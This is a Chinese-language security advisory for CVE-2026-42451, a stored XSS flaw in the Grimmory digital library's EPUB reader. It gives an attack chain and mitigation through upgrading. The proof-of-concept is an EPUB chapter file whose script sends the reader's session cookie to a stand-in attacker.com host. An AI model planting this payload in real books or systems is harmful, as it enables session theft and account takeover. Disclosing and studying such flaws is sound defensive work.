IPBUF安全漏洞报告
English
CVE-2026-42451 CVSS 6.3 中危

CVE-2026-42451: Grimmory存储型XSS漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42451
漏洞类型
存储型XSS
CVSS评分
6.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Grimmory

相关标签

XSSGrimmory存储型跨站脚本EPUBSession Hijacking

漏洞概述

Grimmory自托管数字库在2.3.1之前的版本中存在存储型XSS漏洞。攻击者利用EPUB阅读器对内容过滤不严的缺陷,可构造包含恶意JavaScript代码的特制EPUB文件。当受害者打开该书籍时,脚本将在其拥有完整应用权限的浏览器上下文中执行。这可能导致敏感的会话令牌被窃取,进而引发账户被完全接管的风险,造成严重安全后果,建议尽快修复。

技术细节

该漏洞本质上是一种存储型跨站脚本攻击(Stored XSS),其根源在于Grimmory的浏览器端EPUB阅读器组件缺乏对电子书内容的严格安全校验。EPUB文件实际上是一组HTML文件的集合,而Grimmory在渲染这些HTML时,未实施有效的上下文感知输出编码或内容安全策略(CSP),导致攻击者能够绕过过滤机制。攻击者制作恶意EPUB文件时,会将精心构造的JavaScript代码嵌入到书籍的章节内容中。一旦该文件被上传至系统,恶意代码便持久化存储在服务器上。当合法用户,如系统管理员,在浏览器中打开该书籍进行阅读时,EPUB阅读器会解析包含Payload的章节。此时,受害者的浏览器会误将其视为合法内容并执行脚本。由于脚本运行在Grimmory应用程序的同源策略上下文中,它能够直接访问当前用户的会话凭证(如Session Cookie、LocalStorage等)。攻击者通过监听网络请求或利用DOM操作窃取这些凭证,即可无需密码接管受害者账户,执行包括数据窃取、权限提升在内的任意恶意操作。

攻击链分析

STEP 1
1. 制作恶意文件
攻击者创建一个包含恶意JavaScript代码的特制EPUB电子书文件。
STEP 2
2. 上传文件
攻击者将该恶意EPUB文件上传到目标Grimmory数字图书馆中。
STEP 3
3. 诱导访问
攻击者诱导受害者(特别是管理员)在Grimmory平台上打开并阅读该书籍。
STEP 4
4. 执行恶意代码
当书籍被打开时,EPUB阅读器解析内容,恶意脚本在受害者的浏览器上下文中自动执行。
STEP 5
5. 窃取凭据
脚本窃取受害者的Session Token或Cookie,并发送给攻击者。
STEP 6
6. 接管账户
攻击者利用窃取的凭据接管受害者账户,获取非法访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious content inside an EPUB chapter file (e.g., chapter1.xhtml) --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Malicious Chapter</title> </head> <body> <h1>Interesting Book Content</h1> <p>This looks like a normal book...</p> <!-- The XSS Payload --> <script> // Example: Steal the session cookie var cookies = document.cookie; var attackerUrl = "https://attacker.com/log?c=" + encodeURIComponent(cookies); fetch(attackerUrl); // Or perform actions as the user console.log("XSS Executed in Grimmory Context"); </script> </body> </html>

影响范围

Grimmory < 2.3.1

防御指南

临时缓解措施
建议立即将Grimmory升级至2.3.1或更高版本以彻底修复漏洞。如果无法立即升级,应限制非信任用户上传EPUB文件的权限,并启用Web应用防火墙(WAF)规则以拦截针对该应用的潜在XSS攻击流量。

参考链接